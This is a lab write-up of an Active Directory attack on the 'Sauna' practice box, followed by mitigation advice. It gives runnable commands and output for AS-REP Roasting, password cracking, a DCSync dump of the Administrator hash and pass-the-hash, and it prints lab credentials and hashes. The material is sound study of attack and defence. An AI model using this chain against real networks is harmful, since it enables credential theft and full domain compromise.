Synopsis
Sauna is an easy Windows box built entirely around Active Directory. Usernames harvested from the bank’s website (and confirmed with kerbrute) feed an AS-REP Roasting attack; the cracked ticket gives a foothold as fsmith. WinPEAS then reveals AutoLogon credentials for svc_loanmgr, whose DCSync rights — found with BloodHound — let us pull the Administrator hash and take Domain Admin.
- Domain:
EGOTISTICAL-BANK.LOCAL· Host:SAUNA· IP:10.10.10.175
Recon
A full service scan shows a classic Domain Controller — DNS, Kerberos, LDAP, SMB — plus an IIS site for “Egotistical Bank”.
nmap -sC -sV -sT -Pn 10.10.10.175 -oA nmap-scan
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0 (Egotistical Bank :: Home)
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc
389/tcp open ldap AD LDAP (Domain: EGOTISTICAL-BANK.LOCAL)
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http
636/tcp open tcpwrapped
3268/tcp open ldap Global Catalog
Service Info: Host: SAUNA; OS: Windows
Enumeration — LDAP & users
Anonymous LDAP confirms the naming contexts and the domain object:
ldapsearch -x -h 10.10.10.175 -s base namingcontexts
# namingcontexts: DC=EGOTISTICAL-BANK,DC=LOCAL
The website’s team page gives real names (e.g. Fergus Smith, Hugo Smith). I generated username permutations and validated them with kerbrute:
kerbrute userenum -d EGOTISTICAL-BANK.LOCAL usernames.txt --dc 10.10.10.175
[+] VALID USERNAME: administrator@EGOTISTICAL-BANK.LOCAL
[+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
[+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
Foothold — AS-REP Roasting
If an account has “Do not require Kerberos pre-authentication” set, the KDC will hand out an AS-REP encrypted with the user’s key to anyone — no password needed. That’s crackable offline. GetNPUsers.py finds exactly that for fsmith:
python3 GetNPUsers.py 'EGOTISTICAL-BANK.LOCAL/' -usersfile users.txt \
-format hashcat -outputfile hashes.asreproast -dc-ip 10.10.10.175
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL@EGOTISTICAL-BANK.LOCAL:1ba350...<snip>
Crack it with John:
john hashes.asreproast --wordlist=/usr/share/wordlists/rockyou.txt
# Thestrokes23 ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
Log in over WinRM and grab the user flag:
evil-winrm -i 10.10.10.175 -u fsmith -p 'Thestrokes23'
*Evil-WinRM* PS C:\Users\Fsmith\Desktop> cat user.txt
1fd93**************************** # redacted
Privilege escalation — AutoLogon credentials
Running WinPEAS on the box surfaces AutoLogon credentials stored in the registry — a second user, svc_loanmgr:
svc_loanmgr : Moneymakestheworldgoround!
Domain compromise — DCSync
With svc_loanmgr’s password, BloodHound shows this account holds GetChangesAll (DCSync) rights over the domain — meaning it can replicate secrets from the DC:
bloodhound-python -u svc_loanmgr -p 'Moneymakestheworldgoround!' \
-d EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175 -c All
Abuse it with secretsdump.py to pull the Administrator hash:
python3 secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175 \
-just-dc-user Administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Confirm the hash works, then pass-the-hash into a SYSTEM shell and read root:
crackmapexec smb 10.10.10.175 -u Administrator \
-H 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e'
# (Pwn3d!)
python3 psexec.py EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 \
-hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e
C:\Windows\system32> whoami
nt authority\system
C:\Users\Administrator\Desktop> type root.txt
10951**************************** # redacted
Takeaways & mitigation
- AS-REP Roasting: never set “Do not require Kerberos pre-authentication” on accounts; monitor for it.
- AutoLogon: don’t store plaintext AutoLogon credentials in the registry — use a proper mechanism (e.g. gMSA).
- DCSync: replication rights (
GetChanges/GetChangesAll) should belong to Domain Controllers only — audit ACLs for stray grants to service accounts.